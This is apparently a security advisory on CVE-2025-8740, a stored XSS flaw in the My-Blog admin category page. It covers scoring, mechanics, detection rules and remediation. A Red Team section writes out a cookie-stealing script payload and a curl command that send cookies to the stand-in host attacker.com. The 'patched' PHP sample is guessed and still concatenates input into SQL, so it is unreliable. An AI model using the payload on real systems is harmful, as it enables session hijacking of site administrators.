CVE-2025-8740

Executive Summary

CVE-2025-8740 is a Stored Cross-Site Scripting (XSS) vulnerability found in the zhenfeng13 My-Blog application, affecting versions up to and including 1.0.0. The flaw resides in the /admin/categories/save endpoint, where the categoryName parameter is not properly sanitized before being stored and later rendered. An authenticated attacker with administrative privileges can inject arbitrary JavaScript code, which will execute in the browsers of other administrators viewing the category list.

The vulnerability has a CVSS score of 2.4 (Low), primarily due to the requirement for high privileges and user interaction. However, the public availability of a proof-of-concept (PoC) exploit increases the risk. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a custom PHP application. The risk is limited to direct deployments of the zhenfeng13/My-Blog repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
• Base Score: 2.4 (Low)
• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): High (H) - The attacker must be an authenticated administrator.
• User Interaction (UI): Required (R) - The victim must visit the affected page.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): None (N) - No data is directly exposed.
• Integrity (I): Low (L) - The attacker can modify content within the victim's browser session.
• Availability (A): None (N) - No impact on system availability.

Threat Level: Low. The requirement for high privileges and user interaction significantly reduces the attack surface. However, the public PoC and lack of a patch make it a valid target for targeted attacks against blog administrators.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the category management functionality of My-Blog.

1. Entry Point: The /admin/categories/save endpoint accepts a POST request with a categoryName parameter.
2. Lack of Sanitization: The application does not sanitize or encode the categoryName input before storing it in the database.
3. Storage: The malicious payload (e.g., <script>alert('XSS')</script>) is stored in the database as a category name.
4. Trigger: When an administrator navigates to the category management page (e.g., /admin/categories), the stored payload is rendered in the HTML without proper encoding.
5. Execution: The victim's browser executes the injected JavaScript, which can perform actions like session hijacking, defacement, or redirection.

The attack is limited to the admin panel, but it can be used to steal session cookies or perform actions on behalf of the victim administrator.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely directly inserts the categoryName into the database and then outputs it without escaping.

// Vulnerable: No sanitization
$categoryName = $_POST['categoryName'];
$sql = "INSERT INTO categories (name) VALUES ('$categoryName')";
// ... later in the view
echo "<li>" . $categoryName . "</li>";

Patched Code (Conceptual): A patched version would sanitize the input and escape the output.

// Patched: Sanitize and escape
$categoryName = htmlspecialchars($_POST['categoryName'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO categories (name) VALUES ('$categoryName')";
// ... later in the view
echo "<li>" . $categoryName . "</li>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of zhenfeng13/My-Blog (version <= 1.0.0).
• Valid administrator credentials.

Exploit Steps:

1. Authenticate: Log in to the admin panel (e.g., http://target/admin).
2. Craft Payload: Create a malicious JavaScript payload. For example, to steal cookies:

   <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Send Request: Use a tool like curl or Burp Suite to send a POST request to the vulnerable endpoint.

   curl -X POST http://target/admin/categories/save \
     -d "categoryName=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>"
   

4. Trigger: As an administrator, navigate to the category management page (/admin/categories). The script will execute, sending the victim's cookies to the attacker's server.

Blue Team

Detection:

• Monitor HTTP POST requests to /admin/categories/save for suspicious payloads.
• Look for <script> tags or other HTML/JavaScript in the categoryName parameter.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Hunting:

• Search web server logs for requests to /admin/categories/save with unusual parameters.
• Check the database for stored XSS payloads in the categories table.
• Review administrator session logs for unusual activity.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /admin/categories/save containing <script> tags.
  • Outbound connections to unknown or suspicious domains from the admin panel.
• Host:
  • Presence of JavaScript code in the categoryName field of the categories database table.
  • Unexpected JavaScript files or scripts in the web root.
• Logs:
  • Web server logs showing requests to /admin/categories/save with encoded or suspicious payloads.
  • Application logs showing failed validation attempts.

Detection Engineering

YARA Rule

rule CVE_2025_8740_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting CVE-2025-8740 in My-Blog"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8740"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $category_endpoint = "/admin/categories/save"
    condition:
        $category_endpoint and $xss_payload
}

Sigma Rule

title: CVE-2025-8740 Stored XSS in My-Blog Category Handler
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to /admin/categories/save with potential XSS payloads.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/categories/save'
    filter:
        cs-uri-query|contains: 'categoryName='
    condition: selection and filter
falsepositives:
    - Legitimate category names containing HTML tags (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8740 Stored XSS in My-Blog Category Handler"; flow:to_server,established; content:"POST"; http_method; content:"/admin/categories/save"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Category Management: If possible, temporarily disable the category management functionality in the admin panel.
2. Input Validation: Implement strict input validation for the categoryName parameter. Allow only alphanumeric characters and spaces.
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before being rendered in the browser. Use htmlspecialchars() in PHP or equivalent functions in other languages.
4. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script> tags or other XSS patterns in the categoryName parameter.

Long-Term Fix:

• Vendor Patch: Monitor the vendor's repository for an official patch. If none is released, consider forking the project and applying the fix yourself.
• Code Review: Conduct a thorough security code review of the entire application, focusing on input handling and output encoding.
• Upgrade: If a patched version becomes available, upgrade immediately.

Valters IT